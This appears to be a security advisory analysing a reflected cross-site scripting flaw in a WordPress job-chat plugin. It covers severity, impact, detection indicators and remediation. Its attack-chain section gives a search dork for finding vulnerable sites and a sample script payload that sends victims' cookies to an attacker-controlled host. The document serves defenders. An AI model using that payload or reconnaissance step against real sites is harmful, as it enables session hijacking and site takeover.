CVE-2026-25376: 
WordPress vulnerability analysis and mitigation

CVE-2026-25376 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Addon Jobsearch Chat WordPress plugin developed by eyecix. It affects all versions of the plugin up to and including version 3.0. The vulnerability was published on March 25, 2026, and was assigned by Patchstack. It carries a CVSS v3.1 base score of 7.1 (High) (Feedly, Patchstack).

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The root cause is insufficient sanitization and escaping of user-supplied input before it is reflected back in the web page response. An unauthenticated, remote attacker can craft a malicious URL containing a JavaScript payload; when a victim clicks the link, the script executes in their browser within the context of the affected site. User interaction (clicking the crafted link) is required for exploitation, and no authentication or special privileges are needed on the attacker's side (Feedly, Patchstack).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim's browser session, potentially leading to session cookie theft, credential harvesting, phishing overlays, or unauthorized actions performed on behalf of the victim. Because the scope is marked as Changed, the impact extends beyond the vulnerable component itself to the victim's browser environment. Confidentiality, integrity, and availability are all assessed as Low impact individually, but the combined effect — particularly against authenticated WordPress administrators — could facilitate site takeover (Feedly).

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.033%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been identified (Feedly).

1. Reconnaissance: Identify WordPress sites running the Addon Jobsearch Chat plugin (version ≤ 3.0) using tools like WPScan, Shodan, or Google dorks (e.g., inurl:wp-content/plugins/addon-jobsearch-chat).
2. Identify vulnerable parameter: Locate the plugin's front-end page or endpoint that reflects unsanitized user input in the HTTP response.
3. Craft malicious URL: Construct a URL targeting the vulnerable parameter with a reflected XSS payload, e.g., https://victim-site.com/?vulnerable_param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver the payload: Send the crafted URL to a target victim (e.g., a logged-in WordPress administrator) via phishing email, social engineering, or a malicious link.
5. Achieve objective: When the victim clicks the link and their browser renders the page, the injected script executes — enabling session cookie theft, credential harvesting, or other malicious actions within the victim's authenticated session (Feedly, Patchstack).

• Network: HTTP requests to the WordPress site containing URL-encoded JavaScript payloads (e.g., %3Cscript%3E, javascript:, onerror=, onload=) in query parameters associated with the Addon Jobsearch Chat plugin endpoints.
• Logs: Web server access logs showing GET requests with suspicious query strings containing XSS patterns directed at plugin-related URLs (e.g., paths under /wp-content/plugins/addon-jobsearch-chat/).
• Logs: Referrer headers in access logs pointing to external attacker-controlled domains following the malicious link click.
• Network: Outbound connections from victim browsers to unknown external domains shortly after accessing a page served by the plugin (indicative of cookie exfiltration or beacon callbacks).

The primary remediation is to update the Addon Jobsearch Chat plugin to a version beyond 3.0 that includes proper input sanitization and output escaping. If no patched version is yet available, administrators should consider deactivating and removing the plugin until a fix is released. Additionally, deploying a Web Application Firewall (WAF) — such as Wordfence or Patchstack's virtual patching — can help block reflected XSS exploitation attempts in the interim (Patchstack, Wordfence).

The vulnerability was noted in Wordfence's weekly WordPress vulnerability report for the week of March 23–29, 2026, as part of a broader roundup of plugin security issues. No significant independent researcher commentary or major media coverage has been identified beyond standard vulnerability database listings (Wordfence).